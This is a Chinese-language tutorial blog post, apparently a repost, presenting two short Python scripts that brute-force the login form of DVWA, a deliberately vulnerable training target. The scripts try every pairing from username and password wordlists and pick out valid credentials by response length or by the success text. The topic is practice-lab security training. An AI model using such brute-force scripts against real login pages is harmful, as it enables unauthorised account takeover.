只用了20行Python代码就攻破了网站登录
Posted Python小二
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了只用了20行Python代码就攻破了网站登录相关的知识,希望对你有一定的参考价值。
测试靶机为DVWA,适合DVWA暴力破解模块的Low和Medium等级。
关键代码解释
url指定url地址
url = "http://192.168.171.2/dvwa/vulnerabilities/brute/"
header设置请求头
header =
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0',
'Cookie':'security=medium; phpSESSID=geo7gb3ehf5gfnbhrvuqu545i7'
payload设置请求参数
payload = 'username':username,'password':password,"Login":'Login'
这一行的作用是作一次get请求,响应信息被变量Response接收。
Response = requests.get(url,params=payload,headers=header)
这两行代码循环遍历账号和密码字典文件,之后给他们做笛卡尔积循环暴力破解
这种方式和burp的Intruder模块的Cluster bomb攻击方式一样。
for admin in open("C:\\\\Users\\\\admin\\\\Documents\\\\字典\\\\账号.txt"):
for line in open("C:\\\\Users\\\\admin\\\\Documents\\\\字典\\\\密码.txt"):
然后把循环结果存放到csv文件里,用逗号分割数据
Response.status_code是响应的http状态码,len(Response.content)是http响应报文的长度。
result = str(Response.status_code) + ',' + username + ','\\
+ password + ',' + str(len(Response.content))
f.write(result + '\\n')
完整代码
方法一
登陆成功的和失败返回数据不同,所以数据包长度也不同。包长度与其他不同的数据,可能就是正确的账号密码。
import requests
url = "http://192.168.171.2/dvwa/vulnerabilities/brute/"
#proxies= "http":"http://127.0.0.1:8080" #代理设置,方便burp抓包查看
header =
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0',
'Cookie':'security=medium; PHPSESSID=bdi0ak5mqbud69nrnejgf8q00u'
f = open('result.csv','w')
f.write('状态码' + ',' + '用户名' + ',' + '密码' + ',' + '包长度' + '\\n')
for admin in open("C:\\\\Users\\\\admin\\\\Documents\\\\字典\\\\账号.txt"):
for line in open("C:\\\\Users\\\\admin\\\\Documents\\\\字典\\\\密码.txt"):
username = admin.strip()
password = line.strip()
payload = 'username':username,'password':password,"Login":'Login'
Response = requests.get(url,params=payload,headers=header)
result = str(Response.status_code) + ',' + username + ','\\
+ password + ',' + str(len(Response.content))
f.write(result + '\\n')
print('\\n完成')
运行
这就是脚本发送的数据包
查看结果
查看包长度与其他不同的数据,登录测试
方法二
这个方法是根据登陆成功的返回特征来判断是否为正确的账号密码,然后把正确的账号密码输出到屏幕和txt文件里。
主要改动在第17到20行
import requests
url = "http://192.168.171.2/dvwa/vulnerabilities/brute/"
#proxies= "http":"http://127.0.0.1:8080" #代理设置,方便burp抓包查看
header =
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0',
'Cookie':'security=medium; PHPSESSID=bdi0ak5mqbud69nrnejgf8q00u'
f = open('result.txt','w')
for admin in open("C:\\\\Users\\\\admin\\\\Documents\\\\字典\\\\账号.txt"):
for line in open("C:\\\\Users\\\\admin\\\\Documents\\\\字典\\\\密码.txt"):
username = admin.strip()
password = line.strip()
payload = 'username':username,'password':password,"Login":'Login'
Response = requests.get(url,params=payload,headers=header)
if not(Response.text.find('Welcome to the password protected area')==-1):
result = username + ':' + password
print(result)
f.write(result + '\\n')
print('\\n完成')
运行
往期回顾:
以上是关于只用了20行Python代码就攻破了网站登录的主要内容,如果未能解决你的问题,请参考以下文章
那些下载不了的视频,Python只用1行代码就能直接下载,小说和图片也可以!